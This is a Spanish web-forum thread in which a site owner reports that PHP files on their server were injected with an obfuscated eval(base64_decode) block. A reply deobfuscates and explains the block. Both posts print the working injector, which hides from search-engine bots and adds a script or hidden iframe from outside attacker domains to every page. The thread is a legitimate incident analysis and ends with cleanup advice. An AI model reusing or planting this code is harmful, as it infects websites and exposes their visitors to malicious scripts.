Menú Principal

Virus en PHP?

Iniciado por Cergath, 3 Mayo 2010, 21:49 PM

0 Miembros y 1 Visitante están viendo este tema.

Cergath

Bueno, mas que virus es una cuestion extraña que me sucedio..

Todos los archivos php que tengo en el server de repente aparecieron con un codigo cifrado al principio:
<?php /**/ eval(base64_decode("aWYoZnVuKCFm

Ejemplo:
<?php Codigo Cifrado ?>
<?php Codigo PHP Normal ?>

Bueno, no es el codigo exacto, lo que sucede es que de repente todos los archivos aparecieron así y no se si fue un intruso... ¿de que manera lo hizo? pudo ser en php? de que otras formas más?

esta afectando el funcionamiento de algunos archivos.. no todos..
gracias

edit, otra cosa, los archivos que tampoco tienen el codigo cifrado, tambien dejaron de funcionar, al parecer fue un "ataque"... como hago para comprobarlo? :S.. tampoco es que este "molestando" como para que me vengan a atacarme... quien sabe por que sucedio

edit2, codifique un archivo:
Citarif(function_exists('ob_start')&&!isset($GLOBALS['mr_no'])){   $GLOBALS['mr_no']=1;   if(!function_exists('mrobh')){      if(!function_exists('gml')){     function gml(){      if (!stristr($_SERVER["HTTP_USER_AGENT"],"googlebot")&& (!stristr($_SERVER["HTTP_USER_AGENT"],"yahoo"))){       return base64_decode("PHNjcmlwdCBzcmM9Imh0dHA6Ly9rZGprZmpza2Rmamxza2RqZi5jb20va3AucGhwIj48L3NjcmlwdD4=");      }      return "";     }    }        if(!function_exists('gzdecode')){     function gzdecode($R5A9CF1B497502ACA23C8F611A564684C){      $R30B2AB8DC1496D06B230A71D8962AF5D=@ord(@substr($R5A9CF1B497502ACA23C8F611A564684C,3,1));      $RBE4C4D037E939226F65812885A53DAD9=10;      $RA3D52E52A48936CDE0F5356BB08652F2=0;      if($R30B2AB8DC1496D06B230A71D8962AF5D&4){       $R63BEDE6B19266D4EFEAD07A4D91E29EB=@unpack('v',substr($R5A9CF1B497502ACA23C8F611A564684C,10,2));       $R63BEDE6B19266D4EFEAD07A4D91E29EB=$R63BEDE6B19266D4EFEAD07A4D91E29EB[1];       $RBE4C4D037E939226F65812885A53DAD9+=2+$R63BEDE6B19266D4EFEAD07A4D91E29EB;      }      if($R30B2AB8DC1496D06B230A71D8962AF5D&8){       $RBE4C4D037E939226F65812885A53DAD9=@strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1;      }      if($R30B2AB8DC1496D06B230A71D8962AF5D&16){       $RBE4C4D037E939226F65812885A53DAD9=@strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1;      }      if($R30B2AB8DC1496D06B230A71D8962AF5D&2){       $RBE4C4D037E939226F65812885A53DAD9+=2;      }      $R034AE2AB94F99CC81B389A1822DA3353=@gzinflate(@substr($R5A9CF1B497502ACA23C8F611A564684C,$RBE4C4D037E939226F65812885A53DAD9));      if($R034AE2AB94F99CC81B389A1822DA3353===FALSE){       $R034AE2AB94F99CC81B389A1822DA3353=$R5A9CF1B497502ACA23C8F611A564684C;      }      return $R034AE2AB94F99CC81B389A1822DA3353;     }    }    function mrobh($RE82EE9B121F709895EF54EBA7FA6B78B){     Header('Content-Encoding: none');     $RA179ABD3A7B9E28C369F7B59C51B81DE=gzdecode($RE82EE9B121F709895EF54EBA7FA6B78B);       if(preg_match('/\<\/body/si',$RA179ABD3A7B9E28C369F7B59C51B81DE)){      return preg_replace('/(\<\/body[^\>]*\>)/si',gml()."\n".'$1',$RA179ABD3A7B9E28C369F7B59C51B81DE);     }else{      return $RA179ABD3A7B9E28C369F7B59C51B81DE.gml();     }    }    ob_start('mrobh');   }  }

Filibustero de bolsillo

#1
Pero si me tienes ahí al lado bro ¬¬
Por lo que veo es un malware. El código del hack, con las variables sin ofuscar:

Código (php) [Seleccionar]

// Since this hack depends upon the ob_start() function, it does nothing if
// ob_start() is not defined. The 'mr_no' global is a flag to ensure we only run
// this code once per page.

if (function_exists('ob_start') && !isset($GLOBALS['mr_no'])) {

 // Set flag to indicate we've already added the hack code.
 $GLOBALS['mr_no'] = 1;

 // Another duplication check
 if (!function_exists('mrobh')) {

   // Define the gml() function, which returns the string with the malicious code

   if (!function_exists('gml')) {
     // gml() returns malicious javascript code -unless- the requester is
     // Google or Yahoo. It doesn't want the bots to see the hack because
     // they'll take action on it. Here is the malicious javascript code in
     // unescaped form:
     //   document.write('<iframe src="http://bibzopl.com/in.php" width=1 height=1 frameborder=0></iframe>');      
     function gml() {
       if (!stristr($_SERVER["HTTP_USER_AGENT"],"googlebot") && (!stristr($_SERVER["HTTP_USER_AGENT"],"yahoo"))) {
         return '<script language="javascript">eval(unescape("%64%6F% [...snipped...] %29%3B"))</script>';
       }
       return "";
     }
   }

   // Ensure there is a gzdecode function. Since gzdecode is a PHP 6 function,
   // we will almost always use this version. Note that this version differs
   // from the PHP 6 version in that it just returns the input string if the
   // string is not already gzip encoded. Thus, in PHP 6, this hack is broken
   // for gzip encoded pages.
   
   if (!function_exists('gzdecode')) {
     function gzdecode($input_str) {
       // Assume it is gzip encoded and set the gzinflate start position accordingly
       $ascii_third_char = @ord(@substr($input_str, 3, 1));
       $start_pos = 10;
       $unused_var = 0;
       if ($ascii_third_char & 4) {
         $tmp = @unpack('v', substr($input_str, 10, 2));
         $tmp = $tmp[1];
         $start_pos += 2 + $tmp;
       }
       if($ascii_third_char & 8) {
         $start_pos = @strpos($input_str, chr(0), $start_pos) + 1;
       }
       if($ascii_third_char & 16) {
         $start_pos = @strpos($input_str, chr(0), $start_pos) + 1;
       }
       if($ascii_third_char & 2) {
         $start_pos += 2;
       }
       // Now unzip the input string. If it fails, we assume the input string
       // is not compressed and just return the original input string.
       $retval = @gzinflate(@substr($input_str, $start_pos));
       if($retval === FALSE) {
         $retval = $input_str;
       }
       return $retval;
     }
   }

   // This function takes the un-hacked page output and inserts
   // the malicious code. It is configured by ob_start(), and is
   // called with the buffered page text as input.
   
   function mrobh($page_output) {
     // We are sending the output in plain text, so be sure to change the
     // content encoding to indicate that.
     Header('Content-Encoding: none');
     // If the output is compressed, unzip it
     $hacked_output = gzdecode($page_output);
     // Append the malicious code at the end of the page, or just before the
     // HTML </body> tag (if one exists)
     if (preg_match('/\<\/body/si', $hacked_output)) {
       return preg_replace('/(\<\/body[^\>]*\>)/si', gml() . "\n" . '$1', $hacked_output);
     } else {
       return $hacked_output . gml();
     }
   }

   // This statement forces output to be buffered and tells the PHP
   // processor to call the mrobh() function (defined above) when
   // page processing is complete.
   
   ob_start('mrobh');
 }
}


Por lo que se ve lo que hace es ejecutar un frame como output en html, de un script en un sitio web.

Y al parecer es un troyano, lo que sugiero es, limpiar todo el sitio web, eliminando todo, y reinstalando todo, ya que pueden haber backdoors y sería nuevamente infectado el sitio.

Contacta con tu proveedor para que escaneen el servidor, y haz los respectivos cambios de seguridad, en htaccess por ejemplo, protegiendo los directorios, asignando correctamente los permisos, cambiando passwords.

Un saludo!

Absence makes the heart grow fonder.